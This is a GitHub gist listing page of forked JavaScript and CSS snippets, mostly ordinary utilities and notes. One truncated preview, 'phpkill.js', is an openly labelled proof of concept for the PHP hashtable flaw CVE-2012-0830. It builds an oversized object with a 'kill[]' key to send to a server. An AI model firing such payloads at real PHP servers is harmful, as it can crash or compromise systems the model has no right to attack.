Skip to content

Instantly share code, notes, and snippets.

View letanure's full-sized avatar
🏠
Working from home

luiz tanure letanure

🏠
Working from home
View GitHub Profile
@letanure
letanure / collections_tags.js
Created January 20, 2012 07:30 — forked from bmsterling/collections_tags.js
Pagination of a large set of models. The full story can be found at http://benjaminsterling.com/pagination-and-backbone-js/
(function (collections, pagination, model) {
collections.Tags = Backbone.Collection.extend({
model : model,
url : 'tags_all.php',
/**
* @param resp the response returned by the server
* @returns (Array) tags
*/
parse : function (resp) {
@letanure
letanure / phpkill.js
Created February 7, 2012 00:38 — forked from pilate/phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
@letanure
letanure / gist:2431981
Created April 20, 2012 21:23 — forked from fnando/gist:2420869
My JavaScript Guidelines
@letanure
letanure / Date.prototype.diff.js
Created April 26, 2012 20:45 — forked from netojoaobatista/Date.prototype.diff.js
Returns the difference between two Date objects.
Object.defineProperty(Date.prototype,"diff",{
writable: false, configurable: false, enumerable: true,
/**
* Returns the difference between two Date objects.
* @param {Date} The date to compare to.
* @return {Object}
* @throws {TypeError}
*/
value: function(date) {
@letanure
letanure / consoleX.js
Created May 23, 2012 19:43 — forked from zenorocha/Console Capture
Prevent console.log()s from causing JS errors
// make it safe to use console.log always
(function (a) {
function b() {}
for (var c = "assert,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profileEnd,time,timeEnd,trace,warn".split(","), d; !! (d = c.pop());) {
a[d] = a[d] || b;
}
})
(function () {
try {
console.log();
(function($) {
// Used by dateinput
$.expr = {':': {}};
// Used by bootstrap
$.support = {};
// Used by dateinput
$.fn.clone = function(){
var ret = $();
@letanure
letanure / README.md
Created June 11, 2012 19:12 — forked from necolas/README.md
Experimenting with component-based HTML/CSS naming and patterns

Template Components

Used to provide structural templates.

Pattern

t-template-name
t-template-name--modifier-name
t-template-name__subcomponent-name--subcomponent-modifier-name
@letanure
letanure / LICENSE
Created August 20, 2012 19:29 — forked from irae/LICENSE
Auto-growing textareas with jQuery — The perfectionist way
MIT License
===========
Copyright (c) 2009–2011
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
@letanure
letanure / style_scoped_shim.js
Created November 8, 2012 15:51 — forked from richtr/style_scoped_shim.js
<style scoped> polyfill
/*!
* <style scoped> shim
* http://github.com/richtr
*
* Copyright 2012 Rich Tibbett
* Released under the MIT license
* http://opensource.org/licenses/MIT
*
* Date: 8th November 2012
*/
@letanure
letanure / gist:4112494
Created November 19, 2012 18:22 — forked from lucasfais/gist:1207002
Sublime Text 2 - Useful Shortcuts

Sublime Text 2 – Useful Shortcuts (Mac OS X)

General

⌘T go to file
⌘⌃P go to project
⌘R go to methods
⌃G go to line
⌘KB toggle side bar
⌘⇧P command prompt